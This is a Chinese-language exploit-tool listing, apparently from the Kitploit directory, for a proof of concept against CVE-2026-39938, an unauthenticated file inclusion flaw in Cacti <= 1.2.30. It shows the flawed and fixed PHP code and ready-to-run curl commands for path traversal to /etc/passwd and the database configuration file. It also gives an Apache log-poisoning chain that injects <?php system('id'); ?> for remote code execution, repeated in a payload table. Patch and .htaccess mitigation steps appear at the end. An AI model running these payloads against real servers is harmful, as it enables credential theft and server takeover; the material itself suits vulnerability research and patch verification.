Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
By-Poloss..-..CVE-2026-39938 — CVE-2026-39938的概念验证利用:Cacti <= 1.2.30中的未认证本地文件包含漏洞,通过日志注入实现任意文件读取和远程代码执行。 | Kitploit
工具/GitHubGitHub/polosss/by-poloss..-..cve-2026-39938
侦察漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubpolosss/by-poloss..-..cve-2026-39938

By-Poloss..-..CVE-2026-39938

CVE-2026-39938的概念验证利用:Cacti <= 1.2.30中的未认证本地文件包含漏洞,通过日志注入实现任意文件读取和远程代码执行。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
1个月前尚未审核

CVE-2026-39938:Cacti <= 1.2.30 - 未授权的本地文件包含

摘要

字段值
CVE IDCVE-2026-39938
CVSS 评分9.8(严重)
受影响产品Cacti
受影响版本<= 1.2.30
修复版本1.2.31
修复提交9871f0c

漏洞详情

根本原因

该漏洞存在于 lib/rrd.php 中,其中 graph_theme 参数未经清理直接使用:

漏洞代码:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}

修复后代码:

root@kitploit:~
if (isset($graph_data_array['graph_theme'])) {
    $theme = basename($graph_data_array['graph_theme']);
    if ($theme === '' || $theme === '.' || $theme === '..') {
        $theme = get_selected_theme();
    }
    $rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}

问题:未对 ../ 路径遍历序列进行验证,从而允许攻击者无需认证即可读取任意文件。


概念验证(PoC)- 简单步骤

步骤 1:验证漏洞 - 读取 /etc/passwd

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"

结果: 响应中将显示 /etc/passwd 的内容。

步骤 2:读取数据库配置

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"

结果: 数据库凭据(用户名、密码)将被泄露。

步骤 3:通过日志投毒实现远程代码执行

3.1 将 PHP 代码注入 Apache 日志

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
  -H "User-Agent: <?php system('id'); ?>"

3.2 通过包含日志文件执行代码

root@kitploit:~
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"

结果: 命令输出(例如 uid=33(www-data))将被显示。


已测试的常见端点


PoC URL 示例

基本 LFI 测试

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd

读取应用配置

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php

日志投毒(注入)

root@kitploit:~
http://target-cacti/graph_image.php?local_graph_id=1

附带请求头:User-Agent: <?php system('id'); ?>

日志投毒(执行)

root@kitploit:~
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log

修复建议

更新到已修复版本

root@kitploit:~
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31

验证补丁是否应用

root@kitploit:~
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename

临时缓解措施(.htaccess)

root@kitploit:~
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]

参考

  • GitHub 安全公告
  • 修复提交 9871f0c
  • NVD CVE-2026-39938

W.P.E.F

  • W.P.E.F Telegram 频道 #1
  • W.P.E.F Telegram 频道 #2

报告仅供安全研究用途 日期:2026年6月27日

下载工具
端点参数示例载荷
/graph_image.phpgraph_theme../../../../../../../etc/passwd
/graph_image.phpgraph_theme../../../../include/config.php
/graph_image.phpgraph_theme../../../../../../../var/log/apache2/access.log